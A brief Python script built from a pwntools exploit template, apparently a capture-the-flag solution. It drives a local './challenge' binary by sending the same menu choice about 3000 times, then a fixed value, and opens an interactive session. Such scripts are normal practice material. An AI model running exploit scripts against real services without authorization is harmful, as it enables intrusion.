# A custom template for binary exploitation that uses pwntools. # Examples: # python exploit.py DEBUG NOASLR GDB # python exploit.py DEBUG REMOTE from pwn import * with process("./challenge") as p: print(p.recvuntil(b'>').decode()) p.sendline("1".encode()) print(p.recvuntil(b'>').decode()) for i in range(3000): p.sendline("1".encode()) print(p.recvuntil(b'>').decode()) p.sendline(b"584057") print(p.recvline()) p.interactive()